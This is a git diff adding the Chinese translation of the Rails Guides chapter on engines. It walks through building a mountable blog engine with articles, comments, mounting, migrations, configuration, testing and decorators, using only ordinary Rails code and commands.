+ + + + + + + + + + + + + + diff --git a/v4.1/engines.html b/v4.1/engines.html new file mode 100644 index 0000000..20fcb88 --- /dev/null +++ b/v4.1/engines.html @@ -0,0 +1,1054 @@ + + + + + + + +引擎入门 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

引擎入门

本章节中您将学习有关引擎的知识,以及引擎如何通过简洁易用的方式为Rails应用插上飞翔的翅膀。

通过学习本章节,您将获得如下知识:

+
    +
  • 引擎是什么
  • +
  • 如何生成一个引擎
  • +
  • 为引擎添加特性
  • +
  • 为Rails应用添加引擎
  • +
  • 给Rails中的引擎提供重载功能
  • +
+ + + + +
+
+ +
+
+
+

1 引擎是什么?

引擎可以被认为是一个可以为其宿主提供函数功能的中间件。一个Rails应用可以被看作一个"超级给力"的引擎,因为Rails::Application 类是继承自 Rails::Engine的。

从某种意义上说,引擎和Rails应用几乎可以说是双胞胎,差别很小。通过本章节的学习,你会发现引擎和Rails应用的结构几乎是一样的。

引擎和插件也是近亲,拥有相同的lib目录结构,并且都是使用rails plugin new命令生成。不同之处在于,一个引擎对于Rails来说是一个"发育完全的插件"(使用命令行生成引擎时会加--full选项)。在这里我们将使用几乎包含--full选项所有特性的--mountable 来代替。本章节中"发育完全的插件"和引擎是等价的。一个引擎可以是一个插件,但一个插件不能被看作是引擎。

我们将创建一个叫"blorgh"的引擎。这个引擎将为其宿主提供添加主题和主题评论等功能。刚出生的"blorgh"引擎也许会显得孤单,不过用不了多久,我们将看到她和自己的小伙伴一起愉快的聊天。

引擎也可以离开他的应用宿主独立存在。这意味着一个应用可以通过一个路径助手获得一个articles_path方法,使用引擎也可以生成一个名为articles_path的方法,而且两者不会冲突。同理,控制器,模型,数据库表名都是属于不同命名空间的。接下来我们来讨论该如何实现。

你心里须清楚Rails应用是老大,引擎是老大的小弟。一个Rails应用在他的地盘里面是老大,引擎的作用只是锦上添花。

可以看看下面的一些优秀引擎项目,比如Devise ,一个为其宿主应用提供权限认证功能的引擎;Forem, 一个提供论坛功能的引擎;Spree,一个提供电子商务平台功能的引擎。RefineryCMS, 一个 CMS 引擎 。

最后,大部分引擎开发工作离不开James Adam,Piotr Sarnacki 等Rails核心开发成员,以及很多默默无闻付出的人们。如果你见到他们,别忘了向他们致谢!

2 生成一个引擎

为了生成一个引擎,你必须将生成插件命令和适当的选项配合使用。比如你要生成"blorgh"应用 ,你需要一个"mountable"引擎。那么在命令行终端你就要敲下如下代码:

+
+$ bin/rails plugin new blorgh --mountable
+
+
+
+

生成插件命令相关的帮助信息可以敲下面代码得到:

+
+$ bin/rails plugin --help
+
+
+
+

--mountable 选项告诉生成器你想创建一个"mountable",并且命名空间独立的引擎。如果你用选项--full的话,生成器几乎会做一样的操作。--full 选项告诉生成器你想创建一个引擎,包含如下结构:

+
    +
  • 一个 app 目录树
  • +
  • +

    一个 config/routes.rb 文件:

    +
    +
    +Rails.application.routes.draw do
    +end
    +
    +
    +
    +
  • +
  • +

    一个lib/blorgh/engine.rb文件,以及在一个标准的Rails应用文件目录的config/application.rb中的如下声明:

    +
    +
    +module Blorgh
    +  class Engine < ::Rails::Engine
    +  end
    +end
    +
    +
    +
    +
  • +
+

--mountable选项会比--full选项多做的事情有:

+
    +
  • 生成若干资源文件(application.js and application.css)
  • +
  • 添加一个命名空间为ApplicationController 的子集
  • +
  • 添加一个命名空间为ApplicationHelper 的子集
  • +
  • 添加 一个引擎的布局视图模版
  • +
  • +

    config/routes.rb中声明独立的命名空间 ;

    +
    +
    +Blorgh::Engine.routes.draw do
    +end
    +
    +
    +
    +
  • +
+

lib/blorgh/engine.rb中声明独立的命名空间:

+
+```ruby
+module Blorgh
+  class Engine < ::Rails::Engine
+    isolate_namespace Blorgh
+  end
+end
+```
+
+
+
+

除此之外,--mountable选项告诉生成器在引擎内部的 test/dummy 文件夹中创建一个简单应用,在test/dummy/config/routes.rb中添加简单应用的路径。

+
+mount Blorgh::Engine, at: "blorgh"
+
+
+
+

2.1 引擎探秘

2.1.1 文件冲突

在我们刚才创建的引擎根目录下有一个blorgh.gemspec文件。如果你想把引擎和Rails应用整合,那么接下来要做的是在目标Rails应用的Gemfile文件中添加如下代码:

+
+gem 'blorgh', path: "vendor/engines/blorgh"
+
+
+
+

接下来别忘了运行bundle install命令,Bundler通过解析刚才在Gemfile文件中关于引擎的声明,会去解析引擎的blorgh.gemspec文件,以及lib文件夹中名为lib/blorgh.rb的文件,然后定义一个Blorgh模块:

+
+require "blorgh/engine"
+
+module Blorgh
+end
+
+
+
+

提示: 某些引擎会使用一个全局配置文件来配置引擎,这的确是个好主意,所以如果你提供了一个全局配置文件来配置引擎的模块,那么这会更好的将你的模块的功能封装起来。

lib/blorgh/engine.rb文件中定义了引擎的基类。

+
+module Blorgh
+  class Engine < Rails::Engine
+    isolate_namespace Blorgh
+  end
+end
+
+
+
+

因为引擎继承自Rails::Engine类,gem会通知Rails有一个引擎的特别路径,之后会正确的整合引擎到Rails应用中。会为Rails应用中的模型,控制器,视图和邮件等配置加载引擎的app目录路径。

isolate_namespace方法必须拿出来单独谈谈。这个方法会把引擎模块中与控制器,模型,路径等模块内的同名组件隔离。如果没它的话,可能会把引擎的内部方法暴露给其它模块,这样会破坏引擎的封装性,可能会引发不可预期的风险,比如引擎的内部方法被其他模块重载。举个例子,如果没有用命名空间对模块进行隔离,各模块的helpers方法会发生冲突,那么引擎内部的helper方法会被Rails应用的控制器所调用。

提示:强烈建议您使用isolate_namespace方法定义引擎的模块,如果没使用它,这可能会在一个Rails应用中和其它模块冲突。

命名空间对于执行像bin/rails g model的命令意味者什么呢? 比如bin/rails g model article,这个操作不会产生一个Article,而是Blorgh::Article。此外,模型的数据库表名也是命名空间化的,会用blorgh_articles 代替articles。与模型的命名空间类似,控制器中的 ArticlesController会被Blorgh::ArticlesController取代。而且和控制器相关的视图也会从app/views/articles变成app/views/blorgh/articles,邮件模块也是如此。

总而言之,路径同引擎一样也是有命名空间的,命名空间的重要性将会在本指南中的Routes继续讨论。

2.1.2 app 目录

app内部的结构和一般的Rails应用差不多,都包含 assets, controllers, helpers, +mailers, models and views 等文件。helpers, mailers and models 文件夹是空的,我们就不详谈了。我们将会在将来的章节中讨论引擎的模型的时候,深入介绍。

app/assets文件夹包含images, javascriptsstylesheets,这些你在一个Rails应用中应该很熟悉了。不同在于,它们每个文件夹下包含一个和引擎同名的子目录,因为引擎是命名空间化的,那么assets也会遵循这一规定 。

app/controllers文件夹下有一个blorgh文件夹,他包含一个名为application_controller.rb的文件。这个文件为引擎提供控制器的一般功能。blorgh文件夹是专属于blorgh引擎的,通过命名空间化的目录结构,可以很好的将引擎的控制器与外部隔离起来,免受其它引擎或Rails应用的影响。

提示:在引擎内部的ApplicationController类命名方式和Rails 应用类似是为了方便你将Rails应用和引擎整合。

最后,app/views 文件夹包含一个layouts文件。他包含一个blorgh/application.html.erb文件。这个文件可以为你的引擎定制视图。如果这个引擎被当作独立的组件使用,那么你可以通过这个视图文件来定制引擎的视图,就和Rails应用中的app/views/layouts/application.html.erb一样、

如果你不希望强制引擎的使用者使用你的布局样式,那么可以删除这个文件,使用其他控制器的视图文件。

2.1.3 bin 目录

这个目录包含了一个bin/rails文件,它为你像在Rails应用中使用rails 等命令提供了支持,比如为该引擎生成模型和视图等操作:

+
+$ bin/rails g model
+
+
+
+

必须要注意的是,在引擎内部使用命令行工具生成的组件都会自动调用 isolate_namespace方法,以达到组件命名空间化的目的。

2.1.4 test目录

test目录是引擎执行测试的地方,为了方便测试,test/dummy内置了一个精简版本的Rails 应用,这个应用可以和引擎整合,方便测试,他在test/dummy/config/routes.rb 中的声明如下:

+
+Rails.application.routes.draw do
+  mount Blorgh::Engine => "/blorgh"
+end
+
+
+
+

mounts这行的意思是Rails应用只能通过/blorgh路径来访问引擎。

在测试目录下面有一个test/integration子目录,该子目录是为了实现引擎的的交互测试而存在的。其它的目录也可以如此创建。举个例子,你想为你的模型创建一个测试目录,那么他的文件结构和test/models是一样的。

3 引擎功能简介

本章中创建的引擎需要提供发布主题, 主题评论,关注Getting Started +Guide某人是否有新主题发布等功能。

3.1 生成一个Article 资源

一个博客引擎首先要做的是生成一个Article 模型和相关的控制器。为了快速生成这些,你可以使用Rails的generator和 scaffold命令来实现:

+
+$ bin/rails generate scaffold article title:string text:text
+
+
+
+

这个命令执行后会得到如下输出:

+
+invoke  active_record
+create    db/migrate/[timestamp]_create_blorgh_articles.rb
+create    app/models/blorgh/article.rb
+invoke    test_unit
+create      test/models/blorgh/article_test.rb
+create      test/fixtures/blorgh/articles.yml
+invoke  resource_route
+ route    resources :articles
+invoke  scaffold_controller
+create    app/controllers/blorgh/articles_controller.rb
+invoke    erb
+create      app/views/blorgh/articles
+create      app/views/blorgh/articles/index.html.erb
+create      app/views/blorgh/articles/edit.html.erb
+create      app/views/blorgh/articles/show.html.erb
+create      app/views/blorgh/articles/new.html.erb
+create      app/views/blorgh/articles/_form.html.erb
+invoke    test_unit
+create      test/controllers/blorgh/articles_controller_test.rb
+invoke    helper
+create      app/helpers/blorgh/articles_helper.rb
+invoke      test_unit
+create        test/helpers/blorgh/articles_helper_test.rb
+invoke  assets
+invoke    js
+create      app/assets/javascripts/blorgh/articles.js
+invoke    css
+create      app/assets/stylesheets/blorgh/articles.css
+invoke  css
+create    app/assets/stylesheets/scaffold.css
+
+
+
+

scaffold生成器做的第一件事情是执行生成active_record操作,这将会为资源生成一个模型和迁移集,这里要注意的是,生成的迁移集的名字是 create_blorgh_articles而非Raisl应用中create_articles。这归功于Blorgh::Engine类中isolate_namespace方法。这里的模型也是命名空间化的,本来应该是app/models/article.rb,现在被 app/models/blorgh/article.rb取代。

接下来,模型的单元测试test_unit生成器会生成一个测试文件test/models/blorgh/article_test.rb(有别于test/models/article_test.rb),和一个fixturetest/fixtures/blorgh/articles.yml文件

接下来,该资源作为引擎的一部分会被插入config/routes.rb中。该引擎的资源resources :articlesconfig/routes.rb的声明如下:

+
+Blorgh::Engine.routes.draw do
+  resources :articles
+end
+
+
+
+

这里需要注意的是该资源的路径已经和引擎Blorgh::Engine 关联上了,就像普通的YourApp::Application一样。这样访问引擎的资源路径就被限制在特定的范围。可以提供给test directory访问。这样也可以让引擎的资源与Rails应用隔离开来。具体的详情亏参考Routes

接下来,scaffold_controller生成器被触发了,生成一个名为Blorgh::ArticlesController的控制器(app/controllers/blorgh/articles_controller.rb),以及和控制器相关的视图app/views/blorgh/articles。这个生成器同时也会自动为控制器生成一个测试用例(test/controllers/blorgh/articles_controller_test.rb)和帮助方法(app/helpers/blorgh/articles_controller.rb)。

生成器创建的所有对象几乎都是命名空间化的,控制器的类被定义在Blorgh模块中:

+
+module Blorgh
+  class ArticlesController < ApplicationController
+    ...
+  end
+end
+
+
+
+

提示:Blorgh::ApplicationController类继承了ApplicationController类,而非Rails应用的ApplicationController类。

app/helpers/blorgh/articles_helper.rb中的helper模块也是命名空间化的: +ruby +module Blorgh + module ArticlesHelper + ... + end +end + +这样有助于避免和其它引擎或应用的同名资源发生冲突。

最后,生成该资源相关的样式表和js脚本文件,文件路径分别是app/assets/javascripts/blorgh/articles.js 和 +app/assets/stylesheets/blorgh/articles.css。稍后你将了解如何使用它们。

一般情况下,基本的样式表并不会应用到引擎中,因为引擎的布局文件app/views/layouts/blorgh/application.html.erb并没载入。如果要让基本的样式表文件对引擎生效。必须在<head>标签内插入如下代码:

+
+<%= stylesheet_link_tag "scaffold" %>
+
+
+
+

现在,你已经了解了在引擎根目录下使用 scaffold 生成器进行数据库创建和迁移的整个过程,接下来,在test/dummy目录下运行rails server 后,用浏览器打开http://localhost:3000/blorgh/articles 后,随便浏览一下,刚才你生成的第一个引擎的功能。

如果你喜欢在控制台工作,那么rails console就像一个Rails应用。记住:Article是命名空间化的,所以你必须使用Blorgh::Article来访问它。

+
+>> Blorgh::Article.find(1)
+=> #<Blorgh::Article id: 1 ...>
+
+
+
+

最后要做的一件事是让articles资源通过引擎的根目录就能访问。比如我打开http://localhost:3000/blorgh后,就能看到一个博客的主题列表。要实现这个目的,我们可以在引擎的config/routes.rb中做如下配置:

+
+root to: "articles#index"
+
+
+
+

现在人们不需要到引擎的/articles目录下浏览主题了,这意味着http://localhost:3000/blorgh获得的内容和http://localhost:3000/blorgh/articles是相同的。

3.2 生成评论资源

现在,这个引擎可以创建一个新主题,那么自然需要能够评论的功能。为了实现这个功能,你需要生成一个评论模型,以及和评论相关的控制器,并修改主题的结构用以显示评论和添加评论。

在Rails应用的根目录下,运行模型生成器,生成一个Comment模型,相关的表包含下面两个字段:整型 article_id和文本text

+
+$ bin/rails generate model Comment article_id:integer text:text
+
+
+
+

上述操作将会输出下面的信息:

+
+invoke  active_record
+create    db/migrate/[timestamp]_create_blorgh_comments.rb
+create    app/models/blorgh/comment.rb
+invoke    test_unit
+create      test/models/blorgh/comment_test.rb
+create      test/fixtures/blorgh/comments.yml
+
+
+
+

生成器会生成必要的模型文件,由于是命名空间化的,所以会在blorgh目录下生成Blorgh::Comment类。然后使用数据迁移命令对blorgh_comments表进行操作:

+
+$ rake db:migrate
+
+
+
+

为了在主题中显示评论,需要在app/views/blorgh/articles/show.html.erb的 "Edit" 按钮之前添加如下代码:

+
+<h3>Comments</h3>
+<%= render @article.comments %>
+
+
+
+

上述代码需要为评论在Blorgh::Article模型中添加一个"一对多"(has_many)的关联声明。为了添加上述声明,请打开app/models/blorgh/article.rb,并添加如下代码:

+
+has_many :comments
+
+
+
+

修改过的模型关系是这样的:

+
+module Blorgh
+  class Article < ActiveRecord::Base
+    has_many :comments
+  end
+end
+
+
+
+

提示: 因为 一对多(has_many) 的关联是在Blorgh 内部定义的,Rails明白你想为这些对象使用Blorgh::Comment模型。所以不需要特别使用类名来声明。

接下来,我们需要为主题提供一个表单提交评论,为了实现这个功能,请在 app/views/blorgh/articles/show.html.erb 中调用 render @article.comments 方法来显示表单:

+
+<%= render "blorgh/comments/form" %>
+
+
+
+

接下来,上述代码中的表单必须存在才能被渲染,我们需要做的就是在app/views/blorgh/comments目录下创建一个_form.html.erb文件:

+
+<h3>New comment</h3>
+<%= form_for [@article, @article.comments.build] do |f| %>
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+  <%= f.submit %>
+<% end %>
+
+
+
+

当表单被提交后,它将通过路径/articles/:article_id/comments给引擎发送一个POST请求。现在这个路径还不存在,所以我们可以修改config/routes.rb中的resources :articles的相关路径来实现它:

+
+resources :articles do
+  resources :comments
+end
+
+
+
+

给表单请求创建一个和评论相关的嵌套路径。

现在路径创建好了,相关的控制器却不存在,为了创建它们,我们使用命令行工具来创建它们:

+
+$ bin/rails g controller comments
+
+
+
+

执行上述操作后,会输出下面的信息:

+
+create  app/controllers/blorgh/comments_controller.rb
+invoke  erb
+ exist    app/views/blorgh/comments
+invoke  test_unit
+create    test/controllers/blorgh/comments_controller_test.rb
+invoke  helper
+create    app/helpers/blorgh/comments_helper.rb
+invoke    test_unit
+create      test/helpers/blorgh/comments_helper_test.rb
+invoke  assets
+invoke    js
+create      app/assets/javascripts/blorgh/comments.js
+invoke    css
+create      app/assets/stylesheets/blorgh/comments.css
+
+
+
+

表单通过路径/articles/:article_id/comments提交POST请求后,Blorgh::CommentsController会响应一个create动作。 +这个的动作在app/controllers/blorgh/comments_controller.rb的定义如下:

+
+def create
+  @article = Article.find(params[:article_id])
+  @comment = @article.comments.create(comment_params)
+  flash[:notice] = "Comment has been created!"
+  redirect_to articles_path
+end
+
+private
+  def comment_params
+    params.require(:comment).permit(:text)
+  end
+
+
+
+

最后,我们希望在浏览主题时显示和主题相关的评论,但是如果你现在想提交一条评论,会发现遇到如下错误: 

+
+Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder],
+:formats=>[:html], :locale=>[:en, :en]}. Searched in:   *
+"/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views"   *
+"/Users/ryan/Sites/side_projects/blorgh/app/views"
+
+
+
+

显示上述错误是因为引擎无法知道和评论相关的内容。Rails 应用会首先去该应用的(test/dummy) app/views目录搜索,之后才会到引擎的app/views 目录下搜索匹配的内容。当找不到匹配的内容时,会抛出异常。引擎知道去blorgh/comments/comment目录下搜索,是因为模型对象是从Blorgh::Comment接收到请求的。

现在,为了显示评论,我们需要创建一个新文件 app/views/blorgh/comments/_comment.html.erb,并在该文件中添加如下代码:

+
+<%= comment_counter + 1 %>. <%= comment.text %>
+
+
+
+

本地变量 comment_counter是通过<%= render @article.comments %>获取的。这个变量是评论计数器,用来显示评论总数。

现在,我们完成一个带评论功能的博客引擎后,接下来我们将介绍如何将引擎与Rails应用整合。

4 和Rails应用整合

在Rails应用中可以很方便的使用引擎,本节将介绍如何将引擎和Rails应用整合。当然通常会把引擎和Rails应中的User类关联起来。

4.1 整合前的准备工作

首先,引擎需要在一个Rails应用中的Gemfile进行声明。如果我们无法知道Rails应用中是否有这些声明,那么我们可以在引擎目录之外创建一个新的Raisl应用:

+
+$ rails new unicorn
+
+
+
+

一般而言,在Gemfile声明引擎和在Rails应用的一般Gem声明没有区别:

+
+gem 'devise'
+
+
+
+

但是,假如你在自己的本地机器上开发blorgh引擎,那么你需要在Gemfile中特别声明:path项:

+
+gem 'blorgh', path: "/path/to/blorgh"
+
+
+
+

运行bundle命令,安装gem 。

如前所述,在Gemfile中声明的gem将会与Rails框架一起加载。应用会从引擎中加载 lib/blorgh.rblib/blorgh/engine.rb等与引擎相关的主要文件。

为了在Rails应用内部调用引擎,我们必须在Rails应用的config/routes.rb中做如下声明:

+
+mount Blorgh::Engine, at: "/blog"
+
+
+
+

上述代码的意思是引擎将被整合到Rails应用中的"/blog"下。当Rails应用通过 rails server启动时,可通过http://localhost:3000/blog访问。

提示: 对于其他引擎,比如 Devise ,它在处理路径的方式上稍有不同,可以通过自定义的助手方法比如devise_for来处理路径。这些路径助理方法工作千篇一律,为引擎大部分功能提供预定义路径的个性化支持。

4.2 建立引擎

和引擎相关的两个blorgh_articlesblorgh_comments表需要迁移到Rails应用数据库中,以保证引擎的模型能正确查询。迁移引擎的数据可以使用下面的命令:

+
+$ rake blorgh:install:migrations
+
+
+
+

如果你有多个引擎需要数据迁移,可以使用railties:install:migrations命令来实现:

+
+$ rake railties:install:migrations
+
+
+
+

第一次运行上述命令的时候,将会从引擎中复制所有的迁移集。当下次运行的时候,他只会迁移没被迁移过的数据。第一次运行该命令会显示如下信息:

+
+Copied migration [timestamp_1]_create_blorgh_articles.rb from blorgh
+Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh
+
+
+
+

第一个时间戳([timestamp_1])将会是当前时间,接着第二个时间戳([timestamp_2]) 将会是当前时间+1妙。这样做的原因是之前已经为引擎做过数据迁移操作。

在Rails应用中为引擎做数据迁移可以简单的使用rake db:migrate 执行操作。当通过http://localhost:3000/blog访问引擎的时候,你会发现主题列表是空的。这是因为在应用中创建的表与在引擎中创建的表是不同的。接下来你将发现应用中的引擎和独立环境中的引擎有很多不同之处。

如果你只想对某一个引擎执行数据迁移操作,那么可以通过SCOPE声明来实现:

+
+rake db:migrate SCOPE=blorgh
+
+
+
+

这将有利于你的引擎执行数据迁移的回滚操作。 +如果想让引擎的数据回到原始状态,那么可以执行下面的操作:

+
+rake db:migrate SCOPE=blorgh VERSION=0
+
+
+
+

4.3 访问Rails应用中的类

4.3.1 访问Rails应用中的模型

当一个引擎创建之后,那么就需要Rails应用提供一个专属的类,将引擎和Rails应用关联起来。在本例中,blorgh引擎需要Rails应用提供作者来发表主题和评论。

一个典型的Rails应用会有一个User类来实现发布主题和评论的功能。也许某些应用里面会用Person类来做这些事情。因此,引擎不应该硬编码到一个User类中。

为了简单起见,我们的应用将会使用User类来实现和引擎的关联。那么我们可以在应用中使用命令:

+
+rails g model user name:string
+
+
+
+

在这里执行rake db:migrate命令是为了我们的应用中有users表,以备将来使用。

为了简单起见,主题表单也会添加一个新的字段author_name,这样方便用户填写他们的名字。 +当用户提交了他们的名字后,引擎将会判断是否存在该用户,如果不存在,就将该用户添加到数据库里面,并通过User对象把该用户和主题关联起来。

首先需要在引擎内部的app/views/blorgh/articles/_form.html.erb文件中添加 +author_name项。这些内容可以添加到title之前,代码如下:

+
+<div class="field">
+  <%= f.label :author_name %><br>
+  <%= f.text_field :author_name %>
+</div>
+
+
+
+

接下来我们需要更新Blorgh::ArticleController#article_params方法接受参数的格式:

+
+def article_params
+  params.require(:article).permit(:title, :text, :author_name)
+end
+
+
+
+

模型Blorgh::Article需要添加一些代码把author_nameUser对象关联起来。以确保保存主题时,主题相关的 author也被同时保存了。同时我们需要为这个字段定义一个attr_accessor。以方便我们读取或设置它的属性。

上述工作完成后,你需要为author_name添加一个属性读写器(attr_accessor),调用在app/models/blorgh/article.rbbefore_save方法以便关联。author 将会通过硬编码的方式和User关联:

+
+attr_accessor :author_name
+belongs_to :author, class_name: "User"
+
+before_save :set_author
+
+private
+  def set_author
+    self.author = User.find_or_create_by(name: author_name)
+  end
+
+
+
+

author关联的User类,成了引擎和Rails应用之间联系的纽带。与此同时,还需要把blorgh_articlesusers 表进行关联。因为通过author关联,那么需要给blorgh_articles表添加一个author_id字段来实现关联。

为了生成这个新字段,我们需要在引擎中执行如下操作:

+
+$ bin/rails g migration add_author_id_to_blorgh_articles author_id:integer
+
+
+
+

提示:假如数据迁移命令后面跟了一个字段声明。那么Rails会认为你想添加一个新字段到声明的表中,而无需做其他操作。

这个数据迁移操作必须在Rails应用中执行,为此,你必须保证是第一次在命令行中执行下面的操作:

+
+$ rake blorgh:install:migrations
+
+
+
+

需要注意的是,这里只会发生一次数据迁移,这是因为前两个数据迁移拷贝已经执行过迁移操作了。

+
+NOTE Migration [timestamp]_create_blorgh_articles.rb from blorgh has been
+skipped. Migration with the same name already exists. NOTE Migration
+[timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration
+with the same name already exists. Copied migration
+[timestamp]_add_author_id_to_blorgh_articles.rb from blorgh
+
+
+
+

运行数据迁移命令:

+
+$ rake db:migrate
+
+
+
+

现在所有准备工作都就绪了。上述操作实现了Rails应用中的User表和作者关联,引擎中的blorgh_articles表和主题关联。

最后,主题的作者将会显示在主题页面。在app/views/blorgh/articles/show.html.erb文件中的Title之前添加如下代码:

+
+<p>
+  <b>Author:</b>
+  <%= @article.author %>
+</p>
+
+
+
+

使用<%= 标签和to_s方法将会输出@article.author。默认情况下,这看上去很丑:

+
+#<User:0x00000100ccb3b0>
+
+
+
+

这不是我们希望看到的,所以最好显示用户的名字。为此,我去需要给Rails应用中的User类添加to_s方法:

+
+def to_s
+  name
+end
+
+
+
+

现在,我们将看到主题的作者名字 。

4.3.2 与控制器交互

Rails应用的控制器一般都会和权限控制,会话变量访问模块共享代码,因为它们都是默认继承自 + ApplicationController类。Rails的引擎因为是命名空间化的,和主应用独立的模块。所以每个引擎都会有自己的ApplicationController类。这样做有利于避免代码冲突,但很多时候,引擎控制器需要调用主应用的ApplicationController。这里有一个简单的方法是让引擎的控制器继承主应用的ApplicationController。我们的Blorgh引擎会在app/controllers/blorgh/application_controller.rb中实现上述操作:

+
+class Blorgh::ApplicationController < ApplicationController
+end
+
+
+
+

一般情况下,引擎的控制器是继承自Blorgh::ApplicationController,所以,做了上述改变后,引擎可以访问主应用的ApplicationController了,也就是说,它变成了主应用的一部分。

上述操作的一个必要条件是:和引擎相关的Rails应用必须包含一个ApplicationController类。

4.4 配置引擎

本章节将介绍如何让User类可配置化。下面我们将介绍配置引擎的细节。

4.4.1 配置应用的配置文件

接下来的内容我们将讲述如何让应用中诸如User的类对象为引擎提供定制化的服务。如前所述,引擎要访问应用中的类不一定每次都叫User,所以我来实现可定制化的访问,必须在引擎里面设置一个名为author_class和应用中的User类进行交互。

为了定义这个设置,你将在引擎的Blorgh 模块中声明一个mattr_accessor方法和author_class关联。在引擎中的lib/blorgh.rb代码如下:

+
+mattr_accessor :author_class
+
+
+
+

这个方法的功能和它的兄弟attr_accessorcattr_accessor功能类似,但是特别提供了一个方法,可以根据指定名字来对类或模块访问。我们使用它的时候,必须加上Blorgh.author_class前缀。

接下来要做的是通过新的设置器来选择Blorgh::Article的模型,将模型关联belongs_to(app/models/blorgh/article.rb)修改如下:

+
+belongs_to :author, class_name: Blorgh.author_class
+
+
+
+

模型Blorgh::Article中的set_author方法也可以使用这个类:

+
+self.author = Blorgh.author_class.constantize.find_or_create_by(name: author_name)
+
+
+
+

为了确保author_class调用constantize的结果一致,你需要重载lib/blorgh.rbBlorgh 模块的author_class的get方法,确保在获取返回值之前调用constantize方法: +ruby +def self.author_class + @@author_class.constantize +end +

上述代码将会让set_author 方法变成这样:

+
+self.author = Blorgh.author_class.find_or_create_by(name: author_name)
+
+
+
+

总之,这样会更明确它的行为,author_class方法会保证返回一个Class对象。

我们让author_class方法返回一个Class替代String后,我们也必须修改Blorgh::Article模块中的belongs_to定义:

+
+belongs_to :author, class_name: Blorgh.author_class.to_s
+
+
+
+

为了让这些配置在应用中生效,必须使用一个初始化器。使用初始化器可以保证这种配置在Rails应用调用引擎模块之前就生效,因为应用和引擎交互时也许需要用到某些配置。

在应用中的config/initializers/blorgh.rb添加一个新的初始化器,并添加如下代码:

+
+Blorgh.author_class = "User"
+
+
+
+

警告:使用String版本的类对象要比使用类对象本身更好。如果你使用类对象,Rails会尝试加载和类相关的数据库表。如果这个表不存在,就会抛出异常。所以,稍后在引擎中最好使用String类型,并且把类用constantize方法转换一下。

接下来我们创建一个新主题,除了让引擎读取config/initializers/blorgh.rb中的类信息之外,你将发现它和之前没什么区别,

这里对类没有严格的定义,只是提供了一个类必须做什么的指导。引擎也只是调用find_or_create_by方法来获取符合条件的类对象。当然这个对象也可以被其他对象引用。

4.4.2 配置引擎

在引擎内部,有很多配置引擎的方法,比如initializers, internationalization和其他配置项。一个Rails引擎和一个Rails应用具有很多相同的功能。实际上一个Rails应用就是一个超级引擎。

如果你想使用一个初始化器,必须在引擎载入之前使用,配置文件在config/initializers 目录下。这个目录的详细使用说明在Initializers section中,它和一个应用中的config/initializers文件相对目录是一致的。可以把它当作一个Rails应用中的初始化器来配置。

关于本地文件,和一个应用中的目录类似,都在config/locales目录下。

5 引擎测试

生成一个引擎后,引擎内部的test/dummy目录下会生成一个简单的Rails应用。这个应用被用来给引擎提供集成测试环境。你可以扩展这个应用的功能来测试你的引擎。

test目录将会被当作一个典型的Rails测试环境,允许单元测试,功能测试和交互测试。

5.1 功能测试

在编写引擎的功能测试时,我们会假定这个引擎会在一个应用中使用。test/dummy目录中的应用和你引擎结构差不多。这是因为建立测试环境后,引擎需要一个宿主来测试它的功能,特别是控制器。这意味着你需要在一个控制器功能测试函数中下如下代码:

+
+get :index
+
+
+
+

这似乎不能称为函数,因为这个应用不知道如何给引擎发送的请求做响应,除非你明确告诉他怎么做。为此,你必须在请求的参数中加上:use_route选项来声明:

+
+get :index, use_route: :blorgh
+
+
+
+

上述代码会告诉Rails应用你想让它的控制器响应一个GET请求,并执行index动作,但是你最好使用引擎的路径来代替。

另外一种方法是在你的测试总建立一个setup方法,把Engine.routes赋值给变量@routes

+
+setup do
+  @routes = Engine.routes
+end
+
+
+
+

上诉操作也同时保证了引擎的url助手方法在你的测试中正常使用。

6 引擎优化

本章节将介绍在Rails应用中如何添加或重载引擎的MVC功能。

6.1 重载模型和控制器

应用中的公共类可以扩展引擎的模型和控制器的功能。(因为模型和控制器类都继承了Rails应用的特定功能)应用中的公共类和引擎只是对模型和控制器根据需要进行了扩展。这种模式通常被称为装饰模式。

举个例子,ActiveSupport::Concern类使用Class#class_eval方法扩展了他的功能。

6.1.1 装饰器的特点以及加载代码

因为装饰器不是引用Rails应用本身,Rails自动载入系统不会识别和载入你的装饰器。这意味着你需要用代码声明他们。

这是一个简单的例子:

+
+# lib/blorgh/engine.rb
+module Blorgh
+  class Engine < ::Rails::Engine
+    isolate_namespace Blorgh
+
+    config.to_prepare do
+      Dir.glob(Rails.root + "app/decorators/**/*_decorator*.rb").each do |c|
+        require_dependency(c)
+      end
+    end
+  end
+end
+
+
+
+

上述操作不会应用到当前的装饰器,但是在引擎中添加的内容不会影响你的应用。

6.1.2 使用 Class#class_eval 方法实现装饰模式

添加 Article#time_since_created方法:

+
+# MyApp/app/decorators/models/blorgh/article_decorator.rb
+
+Blorgh::Article.class_eval do
+  def time_since_created
+    Time.current - created_at
+  end
+end
+
+
+
+
+
+# Blorgh/app/models/article.rb
+
+class Article < ActiveRecord::Base
+  has_many :comments
+end
+
+
+
+

重载 Article#summary方法:

+
+# MyApp/app/decorators/models/blorgh/article_decorator.rb
+
+Blorgh::Article.class_eval do
+  def summary
+    "#{title} - #{truncate(text)}"
+  end
+end
+
+
+
+
+
+# Blorgh/app/models/article.rb
+
+class Article < ActiveRecord::Base
+  has_many :comments
+  def summary
+    "#{title}"
+  end
+end
+
+
+
+
6.1.3 使用ActiveSupport::Concern类实现装饰模式

使用Class#class_eval方法可以应付一些简单的修改。但是如果要实现更复杂的操作,你可以考虑使用ActiveSupport::ConcernActiveSupport::Concern管理着所有独立模块的内部链接指令,并且允许你在运行时声明模块代码。

添加 Article#time_since_created方法和重载 Article#summary方法:

+
+# MyApp/app/models/blorgh/article.rb
+
+class Blorgh::Article < ActiveRecord::Base
+  include Blorgh::Concerns::Models::Article
+
+  def time_since_created
+    Time.current - created_at
+  end
+
+  def summary
+    "#{title} - #{truncate(text)}"
+  end
+end
+
+
+
+
+
+# Blorgh/app/models/article.rb
+
+class Article < ActiveRecord::Base
+  include Blorgh::Concerns::Models::Article
+end
+
+
+
+
+
+# Blorgh/lib/concerns/models/article
+
+module Blorgh::Concerns::Models::Article
+  extend ActiveSupport::Concern
+
